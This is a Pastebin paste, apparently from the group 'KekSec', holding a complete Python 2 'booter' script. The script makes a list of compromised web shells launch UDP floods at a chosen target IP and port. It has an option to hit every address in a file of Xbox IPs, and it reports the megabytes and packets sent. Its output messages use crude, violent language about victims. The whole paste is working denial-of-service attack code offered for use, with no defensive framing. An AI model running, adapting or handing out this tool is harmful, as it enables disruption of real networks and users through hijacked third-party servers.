KekSec

Python UDP Shell Booter

Apr 25th, 2018
1,117
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.68 KB | None | 0 0
  1. import urllib2
  2. import threading
  3. import socket
  4. from time import sleep
  5.  
  6. mbs = 0
  7. packets = 0
  8. threads = 0
  9.  
  10. def Hit(ip, port, time, shell):
  11. global threads
  12. global mbs
  13. global packets
  14. threads += 1
  15. shell = shell.replace("\r", "").replace("\n", "")
  16. try:
  17. response = urllib2.urlopen(shell + "?act=phptools&x=phptools&type=UDP&method=UDP&host=" + ip + "&ip=" + ip + "&port=" + port + "&time=" + time).read()
  18. packets += int(response.split("Completed with ")[1].split(" (")[0])
  19. mb = float(response.split("Completed with ")[1].split(" (")[1].split(" MB) ")[0])
  20. mbs += mb
  21. print str(mb) + " MBs sprayed by " + shell + " at " + ip
  22. except Exception, e:
  23. pass
  24. threads -= 1
  25.  
  26. def Boot(ip, port, time, shells):
  27. global threads
  28. global mbs
  29. global packets
  30. threads += 1
  31. for shell in shells:
  32. if threads >= 376:
  33. sleep(0.370)
  34. thread = threading.Thread(target = Hit, args = (ip, port, time, shell,))
  35. thread.start()
  36. threads -= 1
  37. fh = open("shells.txt", "r")
  38. shells = fh.read().strip("\r").split("\n")
  39. fh.close()
  40.  
  41. print "[+] Successfully loaded " + str(len(shells)) + " shells."
  42.  
  43. attackall = "" # raw_input("Attack all ips from xboxips.txt? ")
  44. if attackall.upper().startswith("Y") == False:
  45. ip = raw_input("Target IP: ")
  46.  
  47. port = raw_input("Target port [53]: ")
  48. if port == "":
  49. port = "53"
  50.  
  51. time = raw_input("Time [120]: ")
  52. if time == "":
  53. time = "120"
  54.  
  55. attkthreads = raw_input("Attack threads [4]: ")
  56. if attkthreads == "":
  57. attkthreads = 4
  58. else:
  59. attkthreads = int(attkthreads)
  60.  
  61. if attackall.upper().startswith("Y"):
  62. fh = open("xboxips.txt")
  63. ips = fh.read().strip("\r").split("\n")
  64. fh.close()
  65. print "[+] Raping " + str(len(ips)) + " connections. Get fuking fuckd ;)"
  66. for ip in ips:
  67. print "Hitting " + ip + ":" + port + " for " + time + " secs with " + attkthreads + " threads."
  68. for thread in range (0, attkthreads):
  69. Boot(ip, port, time, shells)
  70. sleep(0.2)
  71. else: #this makes my OCD so bad omg
  72. print "Hitting " + ip + ":" + port + " for " + time + " secs with " + str(attkthreads) + " threads."
  73. for thread in range (0, attkthreads):
  74. Boot(ip, port, time, shells)
  75. sleep(1)
  76.  
  77. try:
  78. sleep(int(time) + 5)
  79. except KeyboardInterrupt:
  80. pass
  81.  
  82. while threads >= 1:
  83. try:
  84. print "Waiting for " + str(threads) + " threads to finish..."
  85. sleep(10)
  86. except KeyboardInterrupt:
  87. break
  88. pass
  89. print
  90. print "[+] Grand total of " + str(mbs) + " mb sent at " + str(float(mbs / int(time))) + " mb/s with " + str(packets) + " packets per second ^-^"
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment